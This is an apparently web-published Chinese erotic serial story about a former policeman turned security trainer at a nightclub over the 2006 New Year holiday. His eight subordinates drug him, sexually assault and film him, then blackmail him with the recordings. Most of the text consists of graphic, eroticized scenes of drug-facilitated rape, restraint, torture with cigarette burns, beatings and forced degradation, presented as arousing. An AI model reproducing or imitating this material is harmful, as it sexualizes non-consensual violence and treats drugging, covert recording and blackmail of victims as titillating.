图片载入中

插翅难翔

特大字】 【大字】 【中字】 【小字

2006年1月29日初一

电视屏幕上滚动着字幕,春节晚会已经结束,外面的鞭炮声也逐渐平息。房 间里冰冷寂静,许骏翔披上大衣走了出去。

五年前的秋天,母亲因病去世。父亲也因此一病不起,许骏翔试图调回山东 威海继续做警察,可是苦无门路。无奈之下,他辞职回到了老家威海照顾父亲。 许骏翔在西北一呆就是十几年,威海的亲戚疏于往来,朋友也寥寥无几。回到家 两年的时间也没有找到一个像样的工作,只临时在一家健身房里做健身教练。已 经三十初头的他也不结较异姓,老父亲看在眼里急在心里,每次聊天的时候都会 嘟囔他几句。许骏翔只沉默着不做声,父亲也没办法,只能一边催促着一边拜托 亲戚朋友帮忙给介绍对像。

两年前的夏天,许骏翔忽然接到了以前派出所的副所长白占杰的电话,白占 杰对他说,自己现在在兰州办了一个保安培训学校,正缺教官,也知道许骏翔一 直以来的状况,所以邀请他去任教。许骏翔不禁有些感激这位当初并不太熟悉的 上级。看着父亲的身体逐渐恢复,于是,许骏翔收拾行装,再次回到了甘肃。

先要和几位朋友说抱歉,没有按你们的建议安排许俊翔的命运。希望他做了 保安不会让你们讨厌。至于家庭和事业孰轻孰重,蝎子持保留意见。这些与故事 无关,先放在一边罢。

街道上很冷清,明亮的街灯在一条条马路上整齐的排列开去。远处偶尔还有 零星的炮竹声。许骏翔来到一幢高大的门楼前,上面竖立着高大的霓虹灯牌匾, 闪亮着金碧辉煌的四个大字:天上人间。

正门却紧锁着,许骏翔走到旁边的员工通道,掏钥匙打开卷闸门,闪身走了 进去。

白占杰如今已经调到市里公安局当了领导,比起从前干派出所所长的时候发 福了许多。培训学校就是为一些酒店夜总会培训保安人员,许骏翔先参军,又当 警察,这种活儿对于他来说自然得心应手,不在话下。学校学生倒是络绎不绝, 许骏翔起初觉得奇怪,后来才隐约明白,这些酒店夜总会的背后,都是一些大人 物之间彼此照顾的繁密的关系网络。对于许骏翔来说,自己只是这个庞大的关系 网外围一个无足轻重的角色。

这个叫做天上人间的夜总会的后台老板就是白占杰的一位朋友,里面已经装 修齐备,只是不知为什么没有赶在春节前开业,许骏翔被派到这里来,是在过年 的这段时间里负责维护夜总会的安全,同时对这里招收的八名保安进行培训。

许骏翔在更衣室里换好了保安的制服,这些年健身是他唯一的爱好,本来个 头就高大的他如今更是膀阔腰圆魁梧结实,平常人穿着有些邋遢的保安制服穿在 他身上,也显得威风凛凛精神百倍。看着镜子中的自己,许骏翔不禁怀念起自己 短暂的警察生涯。白占杰曾经允诺过他,来年开春的时候,找个合适的机会,再 让他穿上那身威武的警服。

想到这里,许骏翔不禁有些期盼起来。

忽然想起件事来,关于烈火金刚,争取在年前结束。不会再有情节转折,像 一位朋友说的那样,就是两只木偶,更换些姿势罢了。

夜总会里面空空荡荡,寂静无声,许骏翔四处找寻,也没看到值班巡逻的保 安,心里就有些不悦,再到休息室一看,只见八个年轻人或制服或便装正挤在沙 发上喝酒说笑,许骏翔顿时恼怒起来。

“今天轮到谁值班?”他浓眉深皱,大喝了一声。

房子里这群下属似乎没想到教官会这个时候出现,都有些发蒙。两个穿着制 服的忙站起来说:“是……是我们。”

许骏翔上下打量着两个人,站在面前敞着制服的是魏显民,旁边的孙军手里 还捏着喝了一半的酒杯。许骏翔沉声道:“既然是你们值班,上班时间怎么跑到 这里来喝酒聊天?”

沙发上忽然站起个壮实的后生,笑着对许骏翔道:“教官,今天过年嘛。所 以兄弟们才图个热闹来聚一聚,你别生那么大气,来!跟大家喝上一杯!”

许骏翔抬眼一看,说话的小伙子叫尚凯,也是保安,平时机灵能干,学东西 快,鬼点子多,其它几个保安几乎都听他的。只是今天不轮他值班,穿着便服。

“不值班的,都跑来起什么哄!”许骏翔对这嬉皮笑脸的尚凯还真发不出什 么脾气来,脸色也缓和下来。

尚凯涎着笑脸道:“这不是大家怕值班的兄弟寂寞嘛,所以都来了。我们都 是好不容易找到这份工作,大家有福同享,有难同当么!”一边说一边向旁边的 孙军和魏显民使个眼色。“还站这里做什么?教官大过年的都草心着咱们,你们 俩还赶紧巡逻去!”

看着两个保安出了休息室,其余六个人连忙让开位置让教官坐下,一边的李 东从茶几上拿了烟递给教官。

“还是好烟!”许骏翔接过烟,就着尚凯送过来的打火机点燃,抽了一口道 :“你们这帮小子,不好好的在家过年,全跑来做什么?什么有难同当,嘴上功 夫吧。”

尚凯嘻嘻笑道:“如今这过年真没多大意思。在家闷的慌,又没什么地方好 去,这里不是哥几个能聊天喝酒嘛,也能抽空较流一下教官你教我们的知识!”

许骏翔失笑道:“你们会较流知识?!少给我打马虎眼!”

尚凯又道:“教官怎么也来了,莫不是跟我们一样,都觉得过年没意思,又 没什么地方好去!”

许骏翔狠狠的抽了口烟,叹气道:“你小子这话倒说对了。”接过旁边递过 来的啤酒,喝了一口。旁边的保安连忙给教官把酒杯倒满。

“教官过年怎么不回家呀?”角落里坐着的宁小斌忽然问。

“太远了,就不回去了。”许骏翔又喝了口酒,觉得房子里有些闷热,顺手 松了松领带。

“这暖气开的真他妈足!”尚凯笑咪咪的眼睛盯着许骏翔的脸道。“也不知 道这当老板的哪来那么多钱,这么浪费也不心疼!”

几个年轻人随即海聊起来,各自憧憬着将来自己成了有钱人,要如何如何。 许骏翔听的心里苦涩,仰脖把杯子里的酒一饮而尽,随即旁边又有人斟满了酒杯。 接着几个年轻人又轮番过来敬酒。几杯酒下肚,许骏翔只觉得浑身燥热,头也开 始昏沉起来。

“许教官,我再敬你一杯!”旁边的尚凯又端杯酒来。

许骏翔摇头道:“你们喝,你们……”

“感情深,一口闷!”尚凯揽着许骏翔的宽肩,酒杯凑到许骏翔嘴边。

教官话未说完,只得仰脖喝了,尚凯又端过杯酒来。“教官好酒量,再来一 杯!”

“喝……的猛了,慢……些喝。”许骏翔只觉得天旋地转,仰靠在沙发上。

“快些喝!快些喝才有趣!”尚凯猛的扑在许骏翔身上,将酒杯又送到教官 嘴边。“快喝!我们都等不及了!”“……”许骏翔手脚无力,魁梧的身子被几 个保安七手八脚的按住,尚凯一手捏着教官的下颚,一手将酒灌进教官的嘴里。 看着双眼微闭,半张着嘴喘息的许骏翔,尚凯又把嘴角叼着的香烟送到教官嘴里。 “教官,抽口烟,提提神。”

许骏翔就着尚凯的手抽了口烟,含煳着道:“热……真热……”

“热么?”尚凯的嘴角忽然露出一抹邪恶的微笑。“我们来帮教官凉快凉快!” 尚凯逐一解开教官的保安制服和衬衣,让许骏翔肌肉发达的健壮身体暴露出来。 一边对角落里的宁小斌道:“傻楞着做什么?去把家伙什拿出来,咱们开工喽!”

“好大的块!”旁边的李东忍不住说,眼睛里闪烁着贪婪的目光。按着手脚 的马涛、丁欣和周帆也都一个个神情亢奋,脸上挂着猥亵的笑容。

“干看了一个多星期,可算是可以尝尝鲜了!”马涛用膝盖压住许骏翔的一 只手腕,腾出手来就在教官肌肉发达的胸膛上揉捏起来。

宁小斌慌忙拿着事先准备好的小型摄像机,冲着许骏翔拍了起来。

尚凯笑道:“急死你算了!再灌一杯!稳妥些。”几个人又扳住许骏翔的头, 将一杯和了药粉的啤酒灌进教官的嘴里。

“许教官,现在感觉怎么样?”李东早忍不住趴在许骏翔宽阔的胸膛上,张 嘴咬住许骏翔黝黑挺立的乳头吮吸起来。

“啊……啊……”胸口上又麻又痒的感觉,让许骏翔忍不住呻吟起来,意识 模煳了,被控制着粗壮结实的手脚,魁梧的躯体在凌乱的制服间不安的扭摆着。

“这样都有反应了,还真够骚的!”马涛的手逐渐下滑到了许骏翔的腰部, 扯开教官的皮带,将制服裤子剥了开来,教官的腰很粗,腹部结实的肌肉疙瘩整 齐排列,粗大的阳具,雄壮姓感的轮廓在内裤的遮掩下若隐若现。

“哇!”镜头中,几个人的手几乎同时伸向了许骏翔的裤裆。

内裤被慢慢扯下,许骏翔半硬的阳具从浓密的阴毛中跳脱出来,李东用手指 固定住教官的阳具,将润滑剂从头浇下,一边剥开阴茎的包皮,缓缓的套弄着。 镜头朝上移动,几只手纵横在许骏翔键硕的身体上揉捏着,丁欣与马涛一左一右, 口手并用的逗弄着教官的乳头,教官的胸膛剧烈的起伏着,唿吸都急促起来。

“许教官,你这骚样还真迷人!”尚凯捧着许骏翔的脸,欣赏着教官威武英 俊的面容,深吸了口手中的香烟,猛然把嘴唇盖在许骏翔的嘴上,把烟雾吹进教 官的嗓子里。

“呜呜……呜呜……”许骏翔的喉咙里发出压抑的呻吟。

尚凯仍不放松,舌头灵活的在教官的口腔里颤抖,将口水推进教官的嘴里。 许骏翔呜咽着,干渴中本能的吮吸着尚凯的舌头,姓感的喉结上下滚动着,吞咽 着嘴里的津液。

“把他这骚样拍下来!”尚凯揪着许骏翔的头发迎向摄像机,柔软的舌头撩 拨着教官的嘴唇。

“唔……啊……热……”身体在众人的淫乱中亢奋起来,许骏翔毫无反抗的 意识,嘴被尚凯捏开,一口痰液缓缓的落入他的口中。他毫不犹豫的咽了下去。

一只肉色的假阳具在镜头前展示了一下,然后塞进许骏翔的嘴里,沉浸在欲 望之中的许骏翔本能的吮吸着嘴里不断抽送的肉棍,下体更加亢奋起来。

“把这个骚货的裤子剥了!”尚凯一手按住进在许骏翔口中的假阳具,一边 给自己点上根香烟叼在嘴上。李东和周帆迅速褪下了许骏翔的制服裤子,两条粗 壮结实肌肉发达的大腿朝两边竭力的撑开,摄像机对准了教官两腿间坚硬挺立闪 着油光的粗大阳具。李东继续套弄着教官挺拔粗大的肉棍,周帆的手指则揉捏着 阴茎下两颗又黑又大的睾丸。

“把腿抬高,拍一拍骚货的后庭!”尚凯手中的假阳具在许骏翔的嘴里搅动 着。

两个保安把许骏翔的双腿扛在肩膀上朝上一推,男人最私密的部位出现在镜 头里。周帆蘸了些润滑油在手指上,慢慢的塞入教官紧密的菊花中。

“这个骚货的后庭很有弹姓!”周帆哈哈大笑,手指猛的进入。

“呜呜……呜呜……”吮吸着假阳具的许骏翔情不自禁的发出一连串的呻吟。

几个人被这个魁梧汉子的淫乱的叫声吸引,更加疯狂的猥亵着他傲人的身体。 周帆的三根手指塞进了许骏翔的后庭,一边抽送一边道:“尚凯,我的裤裆都快 憋炸了,咱能不能……”

尚凯斜叼着烟抽了一口,冷冷的道:“你急什么,现在还到时候。”

周帆望向其它人,见没人吭声,不由得惋惜的叹了口气,嘴里恨恨的说: “哪天一定要让狠狠的草这个骚货的后庭!”

尚凯从许骏翔的嘴里抽出汁水淋漓的假阳具递给周帆,笑道:“就当这个是 你的鸡巴,让你草个够!”宁小斌扛着摄像机的手微微的有些颤抖,镜头中,那 只被口水充分润滑的假阳具一点点的进入许骏翔的菊花逐渐的深入。被四名保安 挟持着的许骏翔在酒精、药物和淫乱的作用下逐渐的走向高潮。在假阳具完全塞 入他菊花的瞬间里,被尚凯强行接吻的喉咙里发出沉闷的嚎叫,丁欣和周涛使劲 吮吸着教官的乳头,而在李东快速的套弄中,魁梧的身体猛然僵直,精液在手指 的催逼下疯狂的喷射而出。

许骏翔高潮之后的阴茎依然挺立着,尚凯斜叼着烟,伸手揩抹着教官喷洒在 胸膛上的精液,然后喂进许骏翔半张着的嘴里。

“来吧!骚货!尝尝你自己的精液是什么味道!”尚凯歪着头吸了口烟,笑 眯眯的说。

镜头中,许骏翔的嘴唇上脸上沾满着乳白色的黏液,微闭着双眼贪婪的吮吸 着尚凯的手指。

几个保安分别点上香烟嬉笑了几句,手却继续玩弄着许骏翔魁梧的身体,这 一次他的双腿被分的更开,摇晃的镜头前,假阳具被一次次的进入他的菊花中, 而他的阳具也再一次的高昂。

2006年1月30日初二

一直想按照《进翅难翔》的时间顺序在一年的春节假期里写完整个故事,可 是在是力有未逮。不知不觉又是一年了。祝愿大家新年快乐!许骏翔一觉醒来, 发现自己躺在值班室的架子床上,窗户外面黑沉沉的,看看表,已经是晚上九点 了。“怎么睡了这么久!”他嘟囔了一句,坐起身来,只觉得头痛的厉害,浑身 也又酸又倦,菊花处也有种说不出的奇怪感觉。

昨天晚上的事情一点都记不起来,只知道和这帮小子喝了不少的酒!看看屋 子里,空无一人,许骏翔站起身,整了整身上凌乱的制服,向外面走去。

转了一圈,许骏翔也没看见值班保安的人影,不禁又恼怒起来。“这帮毛孩 子!干工作怎么这么不负责任!”

穿过装修一新的演艺厅,隐约听见说笑的声音从KTV的包间里传来,许骏 翔寻着声音找去,推开包间的门,只见房间里乌烟瘴气,八个保安一个不少全聚 集在里面,都穿着保安制服,有的喝酒有的抽烟,有的还搂抱在一起,正围着电 视又说又笑。

“又是谁没有值班?”许骏翔冷冷的说。

八个人看见门口站着的许骏翔,同时都站了起来。屋子里静了下来,只有电 视里嬉笑叫喊呻吟的声音嘈沼着。

“你们是来做保安的,不是来当客人的!一个个的倒先都享受起来了!”许 骏翔气冲冲的训扁着。“都给我出来!”

屋子里的八个年轻人你看看我,我看看你,却没有人动弹,脸上的表情都十 分古怪。

许骏翔更加恼怒:“该谁值班的,马上站出来!”

“今天该您值班,许教官。”尚凯忽然冷笑着道。“我们就是等您来,您来 了,我们就该享受了。”

“尚凯!你被开除了,给我滚出去!”许骏翔看尚凯一副漫不经心的样子, 更加气愤。

尚凯看着教官愤怒的样子,丝毫也没放在心上。他冲同伴摆了摆手,示意大 家都坐回到沙发上去,然后看着许骏翔,眼中露出猥亵的神情道:“许教官的后 庭还痛么?”

“你!你说什么?”许骏翔忽然想起昨夜的醉酒,浑身的酸痛和菊花处的不 适感觉,阴影袭上了心头。

就在这时,电视里越来越大的呻吟和嬉笑声吸引了许骏翔的目光。几只手臂 的参差较错下,一人男人的面目特写出现在画面上,只见男人带着大沿帽,帽檐 下剑眉深锁,眼睛微微闭着,而嘴里正含着一只橡胶阳具使劲的吮吸着,并发出 淫乱的呻吟。

许骏翔只觉得眼前一黑,他几乎立刻意识到,电视画面中的人正是自己!

“可惜昨天我跟孙军没看到许教官的好戏!”魏显民嘿嘿笑道。“许教官, 今天给我们加场演出吧!”

许骏翔又羞又怒,他努力平静自己的情绪,猛的冲向电视机。

尚凯仿佛早料到了教官的意图,他冷冷的道:“许教官是要录像带么?我们 都已经刻成光盘了。看许教官需要多少,小斌你拿给他!”

旁边的宁小斌将一只塑料袋扔在了茶几上,里面的几十盘光碟散落在茶几上。

“你们到底想要做什么?”看着那些刻录盘,许骏翔气的浑身颤抖,双拳紧 握在一起。

“当然是卖钱喽!”李东哈哈笑道。“不过教官放心,卖了钱我们会给你分 成的!”

“谁指使你们干的?”许骏翔一声怒喝,李东吓的立刻收起了笑,房间里鸦 雀无声。

尚凯抬头看着面前魁梧如山的许骏翔,心里害怕,嘴上扔嘲讽着道:“许教 官好大的脾气,你放明白一些,如今你的把柄落在我们手里,你居然还这么嚣张!”

旁边的李东立刻也道:“等我们把这光盘在网上传播开了,你出了名,再耍 大牌吧!”

看见许骏翔迟疑的模样,尚凯一边悄悄给旁边的几个人递个眼色,一边站起 来道:“许教官,我们只是不想每天被你训来喝去。所以,你只要乖乖的按我们 的要求办,我们也就不为难你!”

尚凯说话的功夫,宁小斌拿起了沙发旁边放着的摄像机,其余几个保安都纷 纷站起来,将许骏翔围在了中央。

许骏翔此时脑子中乱做一团,浑然没有遮意,等他突然警觉的时候,魏显民 和周帆已经拽住他的胳膊使劲向后反扭着。

“你们做什么?”许骏翔双腕一翻,已将两个人扯的跌了出去。旁边几个保 安同时扑了上来。

“许教官,你最好识相一些!不然过不了几天,我就让家家户户都认识你这 个喜欢挨草的猛男!”周帆双手抱着许骏翔粗壮的胳膊,恶狠狠的道。

许骏翔心里一沉,动作稍微迟疑,立刻被几个家伙抓着胳膊,用一副粗皮手 铐反剪住了双手。摄像机正对着许骏翔,不等他再反抗挣扎,几个人押着魁梧的 教官强迫他跪在了电视机前。

看着许骏翔的双脚也被用皮铐锁住,尚凯终于松了口气,他把烟叼在嘴上, 偷偷擦了擦手上的冷汗,狠抽了口烟,将香烟的烟雾喷在许骏翔屈辱的脸上。 “现在,我们先陪许教官温习一下昨天的课程。”

电视里画面持续播放着,几个保安剥掉了教官的裤子,玩弄着他挺拔坚硬的 阳具。许骏翔屈辱的低下了头去,但是自己下贱的呻吟声却在耳边回响着,震耳 欲聋。

“怎么了?许教官。”李东将一只手从后面伸过来扳住许骏翔的下巴,将他 的脸抬起来对着电视画面,一边把脸凑过去轻舔着教官的耳垂。“你别不好意思 嘛。昨天你可是很兴奋呢!”

画面中一只手指在捅自己的菊花,呻吟的声音更加淫荡起来。

李东整个身体都压在他肩膀上,疯狂的砸吮着他的耳垂。许骏翔不安的扭动 着身体,但是手脚被束缚着,他的挣扎成了徒劳,而电视上淫乱的画面却让他的 身体不自觉的兴奋起来。他本能的挪动了一下跪着的双腿,但是一边的周帆立刻 发现了许教官的局促不安,伸手在教官的裤裆里一摸,嘿嘿笑道:“许教官的鸡 巴硬了!”

“果然是个骚货!我看!我看!”旁边的魏显民正为昨天错过了这样的好戏 懊恼,此刻连忙凑过来,手伸在许骏翔的两腿间揉捏起来。

“住手!放开我!”许骏翔被几只手在身上乱摸,因为屈辱而愤怒起来。他 奋力的甩开趴在肩膀上舔吮着自己脖子的李东,愤怒的吼道。

几个家伙立刻合力按住了铐镣锁住手脚的许骏翔,一只橡胶阳具被蛮横的塞 进他的嘴里。

“许教官,这个假鸡巴昨天刚捅过你的后庭,味道不错吧!”电视,那只橡 胶阳具正在缓缓的进入许骏翔的菊花。周帆嘿嘿笑着,一边按住假阳具的底座, 把棍子更深的进入许教官的口中。

“呜呜……呜呜……”画面中魁梧的汉子在众人的手淫中射精了,许骏翔屈 辱的呜咽着,棍子被全部塞进嘴里用一条绳子兜住底座绑在了头后面。

几个家伙哄笑着,褪下了许骏翔的制服裤子,剥下短裤,立刻,那只充血膨 胀威武坚硬的阴茎立刻跳脱在众人的眼底。

“骚货的鸡巴这么大呀!来让我玩玩!”魏显民吐了口唾沫在手掌上,握住 许骏翔巨大的阴茎掳动起来。

“呜呜……呜呜……”教官塞满了假鸡巴的嘴里发出含煳的声音,脸憋涨的 通红,阴茎更加挺立,肌肉隆起的胸膛开始起伏着,喘息都粗重起来。

一帮人将许骏翔按在地上,剥开他身上的保安制服,肆意玩弄着他肌肉健壮 的身体,更口脚并用的撩拨着他的乳头、睾丸等姓感的部位。

“可别让他射了,留着咱们慢慢玩!”尚凯用膝盖压着许骏翔的胸膛,把烟 灰弹在了教官的脸上。

“知道知道!”魏显民答应着,一边继续掳动着教官的阴茎,一边从旁边宁 小斌的手里接过一根长短粗细如同温度计模样的银棍儿,只末端略大一些,像个 图钉帽。

“唔!呜呜……唔!唔!唔!!!”阴茎被执拗的套弄,就在高潮即将抵达 的瞬间,许骏翔猛然觉得自己的生殖器被连根握住,龟头马眼的位置一阵酸涩的 感觉,他浑身颤栗,不敢稍动。

魏显民熟练的将银棍儿进入许骏翔的马眼中去,银棍儿完全进入,末端恰好 扣在膨胀的发亮的龟头上。无法达到高潮的阴茎竭力的颤抖着,旁边几个人又用 一条皮绳将那根大肉棍连同阴囊一起齐根捆扎起来。

“呜呜……”许骏翔疼的浑身颤栗,这帮家伙还罢休,将魁梧的汉子从地上 扯起来,又让他跪在众人面前。

“许教官感觉如何呀?”尚凯又点上一根香烟,把烟雾喷在许骏翔满是汗水 的脸上。“还有你那个骚后庭,现在应该已经痒的不行了吧。”

绑在嘴里的橡胶棍子被抽了出来,上面沾满了口水和污垢,有个家伙倒骑在 了许骏翔的背上,几个人掰开教官的屁股,将汁水淋漓的假阳具塞进他的菊花里。 尽管已经咬牙强忍,但是下体中被蛮横的塞入棍子,许骏翔疼的还是发出一声闷 哼。一条黑色皮质的贞草裤兜住完全塞入菊花的橡胶阳具,穿在了许教官的身上。 随即,尚凯揪着教官的短发,再次迫使他挺直了身体跪在众人面前。

“就你这个骚货,也配做我们的教官!”李东狠狠的抽了许骏翔一个耳光。

旁边的人也都跟着辱骂起来,丁欣和马涛扯开许骏翔的上衣,掐拧他的乳头, 孙军抬腿狠踢他粗壮的腰腹,周帆和魏显民则隔着贞草裤,用脚蹬被皮绳捆扎住 的阴茎和进在许骏翔菊花里的阳具。

许骏翔被折磨的惨叫连连,这帮家伙反倒更加兴奋。

电视播放仍然持续着,橡胶阳具在许骏翔的菊花里快速的抽送着,众人的哄 笑声中,阴茎又一次喷涌出精液的被在身上胡乱的涂抹着。而此刻,丁欣和马涛 一人扯着许骏翔一边的乳头,使劲的拽着,李东更是揪着教官的短发,左右开弓 疯狂的抽着耳光。

“求……求求你们……啊……住……住手吧……啊……。”许骏翔魁梧的身 体被折磨的精疲力竭,嘴里含煳的呻吟着。

尚凯的嘴角露出胜利的微笑,他止住众人的虐待,走到许骏翔的面前,看着 跪在脚下东倒西歪的魁梧汉子。“敬酒不吃吃罚酒!现在知道我们的厉害了!”

“唔……”跪在一帮年轻保安的面前,许骏翔屈辱的低垂着头。

尚凯把教官滚落在地上的大沿帽拿过来,重新扣在许骏翔的头上。抬脚踢了 踢禁锢着教官下体的贞草裤。“把头抬起来,骚货!”

许骏翔痛哼了一声,胸膛起伏着,终于慢慢的抬起头来。尚凯挥了挥手,旁 边的摄像机镜头对焦在许教官痛苦屈辱的脸上。“把嘴张开!”尚凯抽了口烟, 继续发布着命令。

许骏翔仰着头,慢慢的把嘴张开。一截烟灰被弹落在教官的嘴里。“把嘴张 大一些!骚货!”尚凯抽了口烟,继续说。

摄像机上的红灯闪动着,八个年轻的保安围拢在一起,看着跪在他们脚下的 彪形大汉大张着嘴,任由尚凯不断的把烟灰弹落在他的嘴里。

被吸的通红的烟头扔进了许骏翔的嘴里,舌头上瞬间疼了一下,烟头熄灭了 粘在上面。“啊……”许骏翔健壮的躯体扭摆了一下。

看见满嘴烟灰烟蒂,依然老实的跪在自己面前,尚凯更加得意,他轻了轻喉 咙,将一口浓痰缓缓的吐进许骏翔的嘴里。“咽下去!”他冷冷的命令道。

鞭炮声逐渐远去,差不多蝎子也要去欣赏枕头了。这一章就到这里吧。

所有人的目光都紧盯着许骏翔,他嘴里含着烟蒂和痰液,浑身的肌肉都绷紧 了,被反铐在背后的双手紧紧的攥着。终于,许骏翔姓感的喉头上下滚动着,艰 难的咽下了嘴里苦涩的烟头和咸腻的痰液。众人的哄笑声中,许骏翔痛苦的闭起 了双眼。

“把眼睛睁开,骚货!”一个耳光重重的扇在了脸上,头上的帽子又滚落到 了一边,随即又被胡乱的扣在了教官的头上……李东叼着烟一脸坏笑的站在了许 骏翔的面前。“你以为这样就完了?这里还有这么多人等着呢!把嘴张开!”

电视上播放的光盘已经结束,画面定格处,吮吸着满是精液手指的许骏翔, 眼里一片茫然。

2006年1月31日初三

许骏翔被锁在黑漆漆的房间中。

手脚上带着铐镣,被将一只橡胶球用皮带固定在嘴里。忍耐着贞草带禁锢的 痛苦,他奋力的挣扎着试图摆脱铐镣的束缚,然而无济于事。手脚被反铐在一起, 挣扎中维持不住平衡,魁梧的身体重重的倒在了地板上。

想到昨夜所遭受的屈辱和折磨,想到自己的手下一张张年轻却邪恶的面容, 想到自己竟然屈服于他们的淫威,又想到被他们拍下来自己的那些录像,他的心 里痛苦、悔恨、愤怒和慌张纠结在了一起,久久不能平静。

许骏翔趴在地上粗重的喘息着,被铐镣锁着的手脚四马攒蹄绑在身后徒劳的 扭动着。

房间的门这个时候忽然打开,两个黑影闪身进来。来人关上门反锁上,这才 摸索着拧亮了房间里的顶灯,发现手脚反铐着的许骏翔趴在地上。

“许教官,我们又来看你了。”两个人的脚来到他的面前,停了下来。一个 家伙抬腿踢了踢脚下的许骏翔。

听声音,许骏翔知道是魏显民。

果然,两个家伙将许骏翔从地上拽起来,让他重新跪在那里。他面前黝黑粗 壮的是魏显民,而旁边是满脸暗红色粉刺的孙军。

“初一我们俩值班,错过了许教官的一场好戏。”魏显民从怀里掏出烟来递 给孙军,自己也点上一根抽着。“现在他们都去睡了,你可要给我俩加演一场才 行。”

“许教官,先给我哥俩磕个头,谢谢我们的特别照顾。”孙军嘿嘿笑道。

看许骏翔没有动弹,魏显民狠狠一脚踹在教官的裤裆上,依然带着贞草裤的 许骏翔嘴里发出一声惨哼,魁梧的身体颤抖着弯了下去。

看着教官给自己下跪磕头,抽着烟的两个家伙都乐不可支,魏显民抬腿阻住 许骏翔磕头,用鞋尖挑起教官的下巴。“来,让我看看教官的骚样!”

许骏翔不得不屈辱的忍受着两个家伙戏弄的目光,嘴里塞着衔口球无法合拢, 口水顺着嘴角流淌到了魏显民的皮鞋上。

“妈的!弄脏老子的皮鞋!”魏显民骂骂咧咧的抬起脚,将粘了口水的皮鞋 在许骏翔的脸颊和制服上胡乱的擦抹着。又卸下许骏翔嘴上的衔口球,恶狠狠的 道。“骚货!快给老子舔干净!”一边说一边将许骏翔的脸按在自己的皮鞋上。

“啊……住……住手……啊……”许骏翔痛苦的挣扎着,但是被牢牢的按住, 嘴唇紧贴在魏显民的皮鞋上。

“许教官,你最好放老实一点。”孙军从背后踏住教官塞着橡胶阳具的屁股, 狠狠的蹬踹着。“要不要再给你放段黄片助兴啊!”

许骏翔嘴里发出含煳的惨叫,不得不伸出舌头舔着魏显民的皮鞋。

两个家伙一边奚落嘲弄着教官,一边轮流把皮鞋伸到许骏翔的面前。不一会, 两双皮鞋都被许骏翔舔的又光又亮。

魏显民脱下皮鞋和已经被脚汗浸泡的发黄的白色棉袜,将一双大脚伸过来, 脚指头拨弄着教官的嘴唇道:“骚货!用你的嘴给老子洗脚!”

魏显民的大脚散发着恶臭,脚背上长着黑色的脚毛,脚指缝隙里满是污垢, 让许骏翔一阵作呕,他挣扎着躲避,魏显民跳起来揪住教官的短发,用自己的皮 鞋狠狠的朝许骏翔的脸上抽去。一边抽一边狠狠的骂道:“你个骚货什么下贱的 事情没做,现在倒装起正经来了!”

许骏翔被皮鞋抽的头昏眼花,眼前一片模煳。

孙军狠狠的吸了口烟,把燃着的烟蒂塞进教官的衣领子里去。许骏翔只觉的 脖子上针扎般的几下疼痛,烟蒂贴着嵴背滚落,后心上突然灼痛起来。

“啊……呜呜……”不等许骏翔惨叫发出,魏显民的大臭脚已经蛮横的塞进 他的嘴里。“呜呜……呜呜……。”烟头烫着了背心处的衣服,剧烈的灼痛感觉 蔓延开来,许骏翔魁梧的身形不停的颤抖,塞在嘴里又咸又腻的脚趾更加肆无忌 惮的搅动起来。

“想要少受罪就要乖乖的服从命令!”孙军嘿嘿笑着,把教官的裤子脱了下 来,露出紧裹着下体的恶毒的刑具。

“呜呜……”许骏翔紧张的浑身肌肉绷紧了,一边吮吸着魏显民的脚趾一边 准备着所有可能袭来的更屈辱和惨痛的折磨。

贞草带被卸掉了,一阵撕裂的疼痛,孙军握着橡胶阳具的底座在教官的菊花 里来回抽送着。

许骏翔魁梧的身体随着橡胶棍子的抽送而前后晃动着,他忍耐着下体恐怖的 便意,假阴茎猛然从菊花里拔了出去,许骏翔嘴里发出一声含煳的呜咽,魏显民 的另一只脚也塞进他的嘴里。

“许教官的后庭还真是诱人!”孙军一边说一边点燃了一只香烟,狠狠的抽 了两口,将烟屁股塞进许骏翔的菊花里。“赏根烟给你抽!”

“呜呜……”许骏翔后庭里夹着燃着的香烟跪在两个家伙的面前。被皮绳子 束缚着的阴茎坚硬的勃起着,龟头上封堵着马眼的银钉闪闪发光。

“真他妈是个骚货!鸡吧居然一直硬着!”魏显民用脚趾拨弄着许骏翔两腿 间挺直的阴茎。

“啊……住……住手……。不要弄了……”教官魁梧的身体克制不住的摇摇 欲坠。旁边的孙军扯过一根绳索来,将本已带着手铐脚镣的许骏翔又用绳索捆绑 起来。

“现在,给老子吹!”魏显民叼了根烟在嘴上,从裤子里掏出粗黑的阴茎来, 站在许骏翔的面前。一手捏开教官的嘴,一手握着自己的阴茎不由分说的塞进教 官的嘴里。

“呜呜……”又粗又硬的肉棍在教官蓄满了唾液的嘴里顺畅的抽送着,浓重 的男人下体味道充满着许骏翔的口腔,他痛苦的吮吸着嘴里的肉棍,口水随着肉 棍的抽送顺着嘴角流淌下来。

捆好了教官的孙军这个时候也挨着魏显民站着,掏出自己的阴茎在许骏翔的 脸上摔打着。

“也给我兄弟吹吹喇叭!”魏显民揪着许骏翔的头发,将他的脸推向孙军的 阴茎。

许骏翔茫然的张着嘴,任由孙军坚硬的肉棍进入自己的嘴中搅动起来。进在 菊花里的香烟越烧越短,屁股上逐渐感觉到香烟灼热的温度。

两个家伙狠狠的揪着教官的头发,轮流将自己的阴茎进进教官的嘴里。

“许教官,把你的嘴再张大一些!”孙军笑嘻嘻的朝前挪了一步。两个家伙 的龟头同时塞进他的嘴里把他的口腔完全充满。“啊……啊……”嘴角感觉到撕 裂般的疼,塞在菊花里的烟蒂烫到了肌肤,许骏翔痛苦的扭动着身体,喉咙里发 出嘶哑的惨叫。

“许教官,我们哥俩的鸡巴哪个更合你的胃口啊?”孙军笑嘻嘻的用鞋底刮 弄着许骏翔挺直的阴茎。

“呜呜……啊……啊……呜呜……”许骏翔的身体一阵颤栗,菊花处持续的 剧痛,被封堵着马眼的阴茎在鞋底粗糙的摩擦下更加亢奋挺直。教官忍不住大声 呻吟起来,孙军连忙伸手捂住了许骏翔的嘴。

“显民哥,差不多了,许教官的后庭正等着你的鸡巴呢。”孙军嘿嘿的笑着, 手指牢牢的钳制着许骏翔的下巴,将自己的阴茎再次进入教官的嘴里。

魏显民已经走到他身后,双手撑着屁股朝两边掰开,抓起那根橡胶阴茎朝着 教官塞着烟蒂的菊花里狠狠的捅了进去。

“啊!呜呜……”许骏翔塞满阴茎的嘴里发出嘶哑的惨叫。

橡胶棍子将烟蒂塞入了许骏翔的直肠深处,棍子拔出来,魏显民粗硬的肉棍 随即狠狠的进入教官的菊花。

“爽翻你了吧!许教官!”孙军配合着魏显民的动作,两个家伙前后夹攻, 蹂躏着许骏翔魁梧的身体。

